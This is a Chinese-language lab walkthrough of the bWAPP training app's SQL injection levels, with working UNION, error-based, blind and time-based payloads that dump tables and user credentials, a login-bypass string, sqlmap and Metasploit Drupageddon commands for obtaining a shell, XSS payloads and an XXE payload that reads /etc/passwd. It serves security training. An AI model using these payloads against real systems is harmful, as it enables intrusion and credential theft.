bWAPP SQL注入篇

目錄

手工注入步驟

0x01、SQL Injection (GET/Search)

0x02、SQL Injection (GET/Select)

0x03、SQL Injection (POST/Search)

0x04、SQL Injection (POST/Select)

0x05、SQL Injection (AJAX/JSON/jQuery)

0x06、SQL Injection (Login Form/Hero)

0x07、SQL Injection (Login Form/User)

0x08、SQL Injection (SQLite)

0x09、Drupal SQL Injection (Drupageddon)

0x0A、SQL Injection - Stored (Blog)

0x0B、SQL Injection - Stored (SQLite)

0x0C、SQL Injection - Stored (User-Agent)

0x0D、SQL Injection - Stored (XML)

0x0E、SQL Injection - Blind - Boolean-Based

0x0F、SQL Injection - Blind - Time-Based

0x10、SQL Injection - Blind (SQLite)

0x11、SQL Injection - Blind (WS/SOAP)


 

 

手工注入步驟

下面簡要介紹手工注入(非盲注)的步驟。

1.判斷是否存在注入,注入是字符型還是整數型

2.猜解SQL查詢語句中的字段數 (order by )

3.確定顯示的字段順序 

4.獲取當前數據庫 (爆庫)

5.獲取數據庫中的表 (爆表)

6.獲取表中的字段名 (爆字段)

7.下載數據 (爆數據)

 

 

0x01、SQL Injection (GET/Search)

Low

GET/Search型的SQL注入一般直接按照上面步驟判斷即可:

  • 判斷注入點

輸入單引號:

猜測sql語句如下:

SELECT * FROM movies WHERE title LIKE '%" . ($title) . "%'
  • 注入類型

將%和 ' 閉合掉,  加入注入語句,  再將後面的註釋掉:

123%' or 1=1 #

因爲1=1永真,  where條件總是成立, 所以列出了所有圖書:

  • 判斷字段數
123%' order by 7 #

  • 確定顯示字段的順序
123%' union select 1,2,3,4,5,6,7 #

可以顯示的字段爲2,3,5,4

  • 當前數據庫和用戶
123%' union select 1,user(),3,database(),5,6,7 #

  • 數據庫下的所有表
123%' union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database() #

  • 表的字段
123%' union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name="users" and table_schema=database() #

  • 爆數據
123%' union select 1,(select group_concat(login,'-',password,'-') from users limit 0,1),3,4,5,6,7 #

通過limit來分段獲取數據:

密碼顯然是md5加密過的:

Medium

這邊源碼觀察到採用addslashes()函數對預定義字符進行了轉義  :

  • addslashes() 函數

返回在預定義字符之前添加反斜槓的字符串。

預定義字符是:

  • 單引號(')
  • 雙引號(")
  • 反斜槓(\)
  • NULL

查看mysql編碼,  如果是GBK編碼且操作系統是UTF-8編碼,  則可以用寬字節來繞過:

可惜mysql編碼是utf-8:

所以暫時找不到方法繞過。

High

採用了mysql_real_escape_string()函數來防禦

  • mysql_real_escape_string() 函數

轉義 SQL 語句中使用的字符串中的特殊字符。

下列字符受影響:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

如果成功,則該函數返回被轉義的字符串。如果失敗,則返回 false。

無法注入。

 

 

 

0x02、SQL Injection (GET/Select)

分析

相比上一關,  這裏在前端採用了下拉菜刀選擇來控制用戶的輸入,  防止惡意輸入:

但是即便如此,  也是表明功夫而已

由於是GET型,  攻擊者可以通過修改url參數數據來注入:

Low

無任何防護,  像上一關一樣直接注入即可

  • 注入點判斷
http://localhost:8080/bWAPP/sqli_2.php?movie=1 and 1=1&action=go

可知爲整數型注入 

  • 判斷字段數
http://localhost:8080/bWAPP/sqli_2.php?movie=1 order by 7 &action=go
  • 確定字段顯示順序
http://localhost:8080/bWAPP/sqli_2.php?movie=0 union select 1,2,3,4,5,6,7&action=go

注意,  這裏要使movie=0, 以引導報錯,  不然字段不會顯示出來,  因爲被查詢到的movie=1覆蓋了

接下來的爆庫爆表等就和上一關一樣了,  不再贅述。

Medium&High

Medium和High級別分別採用了addslashed()和mysql_real_escape_string()來過濾特殊字符:

但是這是整數型注入,  對於字符型注入的防禦策略並不起作用:

所以,  依然可以像Low級別那樣注入。

 

 

0x03、SQL Injection (POST/Search)

分析

可以看到,  與Get型的大同小異,  只不過這裏採用Post請求方式,  

雖然Post型比Get型請求更安全,  但是想要注入只不過麻煩一點而已

攻擊者仍然可以通過抓包修改數據包的方式了注入

Low

  • 判斷注入點

接下來就和Get型一樣了,  只不過在多了一步抓包而已。

Medium&High

分別用了addslashes()和mysql_real_escape_string()函數防禦:

且在Medium中, mysql編碼爲utf-8, 無法用寬字節繞過, 安全。

 

 

0x04、SQL Injection (POST/Select)

相比上一關,  這裏在前端採用了下拉菜刀選擇來控制用戶的輸入,  防止惡意輸入

但是即便如此,  也是表明功夫而已,  同樣可以通過抓包修改數據包,  

方法和上一關一樣,  不再贅述。

 

 

0x05、SQL Injection (AJAX/JSON/jQuery)

通過在後臺與服務器進行少量數據交換,AJAX 可以使網頁實現異步更新。這意味着可以在不重新加載整個網頁的情況下,對網頁的某部分進行實時更新。

對應的js代碼如下:

$("#title").keyup(function(){
            // Searches for a movie title
            var search = {title: $("#title").val()};

            // AJAX call
            //getJSON函數
            //1、sqli_10-2.php即把數據提交到此文件,也就是說其實ajax查詢數據是這個文件在處理
            //2、search是存儲的鍵值對,這裏提交。
            //3、第三個參數是查詢成功後處理要調用的函數,這裏是格式化了輸出,我們忽略
            $.getJSON("sqli_10-2.php", search, function(data){
                init_table();
                // 後面的代碼是格式化處理查詢結果的
                // Constructs the table from the JSON data
                var total = 0;
                $.each(data, function(key, val){
                    total++;
                    $("#table_yellow tr:last").after("<tr><td>" + val.title + "</td><td align='center'>" + val.release_year + "</td><td>" + val.main_character + "</td><td align='center'>" + val.genre + "</td><td align='center'><a href='http://www.imdb.com/title/" + val.imdb + "' target='_blank'>Link</a></td></tr>");
                });
                // Empty result
                if (total == 0)
                {
                    $("#table_yellow tr:last").after("<tr height='30'><td colspan='5' width='580'>No movies were found!</td></tr>");
                }
            })

        });

        function init_table(){
            $("#table_yellow").html("<tr height='30' bgcolor='#ffb717' align='center'>" +
                    "<td width='200'><b>Title</b></td>" +
                    "<td width='80'><b>Release</b></td>" +
                    "<td width='140'><b>Character</b></td>" +
                    "<td width='80'><b>Genre</b></td>" +
                    "<td width='80'><b>IMDb</b></td>" +
                    "</tr>"
                    );
        }

Low

直接用Get型用url訪問是不行的:

在js中採用了getJSON來實時更新查詢結果,  

頁面sqli_10-1應該是從sqli_10-2獲取數據的:

可以間接的從sqli_10-2.php注入:

http://localhost:8080/bWAPP/sqli_10-2.php?title=Iron%' and 1=1 %23

也可以在sqli_10-1.php搜索框注入:

Iron%' and 1=1 #

Medium&High

分別用了addslashes()和mysql_real_escape_string()函數防禦,

且在mysql編碼爲utf-8, 無法用寬字節繞過, 安全。

 

 

0x06、SQL Injection (Login Form/Hero)

 用戶登錄的sql注入,  可以引申至 二次注入

Low

往用戶名處注入單引號,  得到報錯回顯:

猜測登錄的sql語句可能爲:

select * from users where username='$login' and password='$password';

那麼此處就可以構造一下用戶,  實現萬能登錄了:

用戶名:  123' or 1=1 #
密碼  :  (隨意)

Medium&High

繼續構造用戶名,  發現服務器只返回了用戶名和密碼是否正確(合法):

查看源碼發現對用戶名和密碼進行了相應的防護:

分別用了addslashes()和mysql_real_escape_string()函數防禦,

且在mysql編碼爲utf-8, 無法用寬字節繞過, 安全。

 

 

0x07、SQL Injection (Login Form/User)

Low

繼續像上一關那樣思路, 

構造萬能登錄用戶名,  密碼隨意:

發現無法注入。

查看源碼邏輯(黑白盒結合測試),  它先是判斷用戶名是否存在,  存在之後再判斷密碼是否正確:

問了一下朋友,  得知這曾經是一道CTF的題,  

分析

既然sql語句只發生在查詢用戶名處,  所以注入也只能在用戶名,  (因爲需要通過用戶名驗證, 再通過密碼)

  •  注入單引號:

  • 接着判斷注入點

發現無法判斷,  因爲前端回顯的結果只有當密碼(第二個if語句)也正確時纔會顯示。

因此無法使用order by 判斷字段數 (判斷注入點是爲了用order by來得到字段數)

但是可以直接通過聯合查詢得到字段數:

  • 判斷字段的顯示順序

無法判斷,  因爲前端回顯的結果只有當密碼(第二個if語句)也正確時纔會顯示。

所以我們進入數據庫實驗:

可以看到, 聯合查詢3的位置對應password字段,  且password字段的值是經過md5加密過的,  

由於用戶名和密碼是分開進行判斷的,  爲了能夠回顯出報錯信息,  需要注入的聯合查詢字段(順序爲3)與輸入的密碼相等

比如,  注入的聯合查詢爲:

' union select 1,2,3,4,5,6,7,8,9 #

$recordset從數據庫中搜索就有了返回值,即$row["login"]返回不爲空,這裏第一個條件就構成了。後面POST的“&password=3”,3的hash的值被我們添加到聯合查詢語句裏了,即返回的查詢有3的hash值

所以輸入密碼與聯合查詢輸入的3字段相等即可

用戶名:  ' union select 1,2,"77de68daecd823babbb58edb1c8e14d7106e83bb",4,5,6,7,8,9 #
密碼  :  3

其中,   sha1(3) 加密後爲 77de68daecd823babbb58edb1c8e14d7106e83bb

得知注入字段顯示順序爲2和5

  • 當前數據庫和用戶
用戶名:  ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,user(),6,7,8,9 #
密碼  :  3

  • 爆表
用戶名:  ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat(table_name) from information_schema.tables where table_schema=database()),6,7,8,9 #
密碼  :  3

  • users表的所有字段
用戶名:  ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),6,7,8,9 #
密碼  :  3

  • 爆值
用戶名:  ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat('~',login,'~',password) from users),6,7,8,9 #
密碼  :  3

Medium&High

查看源碼發現對用戶名和密碼進行了相應的防護:

分別用了addslashes()和mysql_real_escape_string()函數防禦,

且在mysql編碼爲utf-8, 無法用寬字節繞過, 安全。

 

 

 

0x08、SQL Injection (SQLite)

首先需要安裝SQLite插件:

apt-get install sqlite3

apt-get install php5-sqlite

然後重啓一下apache:

service apache2 restart

  • SQLite 介紹

SQLite含有一張內置表“sqlite_master”,表裏存儲着type、name、tbl_name、rootpage、sql五個字段。

type列記錄了項目的類型,如table、index、view、trigger

tbl_name字段記錄所從屬的表名,如索引所在的表名。對於表來說,該列就是表名本身;

name字段記錄了項目的名稱,如表名、索引名等;

rootpage記錄項目在數據庫頁中存儲的編號。對於視圖和觸發器,該列值爲0或者NULL

sql存放着所有表的創建語句,即表的結構。

Low

注入單引號,  只會報錯 Error: HY000,  可能是SQLite的報錯標註:

根據查詢功能,  很明顯爲模糊匹配:

於是得出sql語句爲:

select * from books where title='%$title%';
  • 判斷注入點
Iron%' and 1=1 --

注意在SQLite中, 註釋符爲: --

  • 判斷字段數
Iron%' order by 6 --
  • 判斷字段顯示順序
123%' union select 1,2,3,4,5,6 --

  • 爆所有表
123%' union select 1,sqlite_version(),name,4,5,6 from sqlite_master --

  • users表的字段
123%' union select 1,sqlite_version(),sql,4,5,6 from sqlite_master --

通過sql可以查看建表語句,  從而得到字段屬性: 

  • 取值
123%' union select 1,2,login,password,5,6 from users --

 Medium&High

在Medium和High等級中,  都過濾了單引號,  無法注入:

 

 

 

0x09、Drupal SQL Injection (Drupageddon)

  • CVE-2014-3704: 

The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing crafted keys.

翻譯一下就是:  由於expandArguments()函數沒有正確構造準備好的語句,這使得遠程攻擊者能夠通過包含精心編制的手工語句進行SQL注入攻擊。影響Drupal版本在7.x~1.32。

Drupal是一款開源內容管理系統(CMS),用戶多達100萬以上(包括政府、電子零售、企業組織、金融機構等),除非已經安裝了針對Drupalgeddon 漏洞的安全補丁,否則,所有用戶都會面臨該漏洞的嚴重威脅。

bwapp平臺復現了漏洞,  但僅僅再bee-box平臺中體現:

由於沒有安裝bee-box的支持,  所以演示步驟, 不貼結果。具體可移步到 vulhub篇

直接上msf:

搜索drupal漏洞:

search drupal

 查看漏洞信息:

show info exploit/multi/http/drupal_drupageddon

 

使用CVE-2014-3704對應的攻擊模塊:

use exploit/multi/http/drupal_drupageddon

設置Drupal網站路徑:

set targeturi /drupal/

所定攻擊的ip和端口:

set RHOSTS 192.168.10.10

set rport 8080

發動攻擊,  拿到shell:

exploit

 

 

 

0x0A、SQL Injection - Stored (Blog)

一個發表blog的功能:

分析

1. 在將blog內容以及時間作者等插入數據庫的過程中,  肯定用到了insert語句,  對應的就可以採用 sql注入;

2. 觀察插入之後的內容,  被寫入到網頁中,  這裏就類似與存儲型XSS。

Low

  • SQL注入

注入單引號,  得到回顯:

猜測sql語句爲:

insert into blog(date,entry,owner) values(now(), '$entry', 'bee');

注入點爲entry處,  可以將前面的values() 閉合掉,  然後加上注入內容即可:

判斷注入點:

1. 聯合查詢注入

test', (select database())) #

爆表:

test', (select group_concat(table_name) from information_schema.tables where table_schema=database())) #

2.  報錯注入

嘗試報錯注入:

test', 'hack') or extractvalue(1, concat(0x7e, (select database()), 0x7e)) #

未果。

  • XSS

注入:

<script>alert(1)</script>

Medium&High

注入的單引號發現被轉義了:

查看源碼,  發現兩個等級分別用了addslashes()和mysqli_real_escape_string()函數做防護:

  • XSS

但沒有對xss進行相應的防護:

<script>alert(2)</script>

 

 

 

0x0B、SQL Injection - Stored (SQLite)

Mysql換成了sqlite,只是些sql語句寫法變了, 思路不變。

 

 

0x0C、SQL Injection - Stored (User-Agent)

當用戶訪問頁面時,  後臺會獲取用戶的ip, 訪問時間以及http頭信息的內容:

並且將獲取到的信息存儲到數據庫,  然後再顯示到頁面上。

Low

原理同樣,  猜測insert的sql語句爲:

INSERT INTO blog (date, user_agent, ip_address) VALUES(now(), '$user-agent','$ip');

抓包,  注入點爲 user-agent:

Medium&High

查看源碼,  發現兩個等級分別用了addslashes()和mysqli_real_escape_string()函數做防護, 安全:

 

 

 

0x0D、SQL Injection - Stored (XML)

點擊按鈕,  觸發script事件:

重定向到sqli_8-2.php,  併發送xml文檔:

Low

有兩種方法利用該漏洞;

  • SQL注入

sql注入的原理基本不變,  只不過注入點不同而已,

直接訪問sql_8-2.php,  將xml實體POST即可:

注入單引號, 判斷注入點:

得到回顯之後,  接下來就是判斷sql語句,  由於是寫入網頁的bee值,  那麼猜測爲update語句:

UPDATE users SET secret = '$secret' WHERE login = '$login';

於是用extractvalue()報錯注入:

<reset><login>bee' or  extractvalue(1, concat(0x7e, (select database()), 0x7e)) or '1'='1</login><secret>Any bugs?</secret></reset>

  • XXE注入

具體原理參見之前的blog:   PiKachu靶場之XXE (xml外部實體注入漏洞)

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE hack [
    <!ENTITY text SYSTEM "file:///etc/passwd">
]>

<reset>
    <login>&text;</login>
    <secret>hack</secret>
</reset>

 

 

 

0x0E、SQL Injection - Blind - Boolean-Based

查詢書目,  只會顯示出存在or不存在:

Low

由於是字符串,  判斷爲字符類型注入,  直接注入:

Iron Man' and '1'='1

比如, 判斷數據庫長度:

Iron Man' and length(database())=5 #

繼續手工盲注比較麻煩,  具體請參看之前的blog:   PiKachu之Sql Inject (SQL注入)

這裏就直接用sqlmap來跑了:

sqlmap -u "http://localhost:8080/bWAPP/sqli_4.php?action=search&title=Iron Man" --cookie="security_level=0; PHPSESSID=oq5ku61t3uqkr80mok9g30qc74" --dbs --batch

記得傳cookie,  指定security_level等級, 用--batch選用默認操作

最後得到所有數據庫:

接下來跑表就不再贅述了。

Medium&High

同樣採用了addslashed()和mysqli_real_escape_string()函數, 

且mysql編碼和os編碼一致, 無法用寬字節繞過, 安全。

 

 

 

0x0F、SQL Injection - Blind - Time-Based

不管查詢什麼都是將結果通過email通知,  將查詢結果"隱藏"了起來

對應滲透來說,  也就是無法得知注入的sql語句是否執行成功。

於是布爾盲注就不能發揮作用,  這時候就需要延時盲注出場了。

Low

延時注入:

Iron Man' and sleep(if((1=2), 0, 3)) #

之後可以嘗試手工注入或者sqlmap跑。

Medium&High

同樣採用了addslashed()和mysqli_real_escape_string()函數, 

且mysql編碼和os編碼一致, 無法用寬字節繞過, 安全。

 

 

 

0x10、SQL Injection - Blind (SQLite)

同樣是布爾盲注:

方法思路一樣,  和mysql相比只不過是語法不同。  

 

 

 

0x11、SQL Injection - Blind (WS/SOAP)

該頁面是一個查看電影剩餘票數的查詢功能:

Low

分析數據包,  是GET型:

隨之我們可以直接通過url構造title參數注入:

  • 判斷注入類型

可知是字符型注入,  猜測sql語句如下:

select tickets from moives where title='$title';

而且是布爾型盲注。方法同之前的盲注一樣。(sqlmap跑也可以)

Medium&High

同樣採用了addslashed()和mysqli_real_escape_string()函數, 

且mysql編碼和os編碼一致, 無法用寬字節繞過, 安全。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章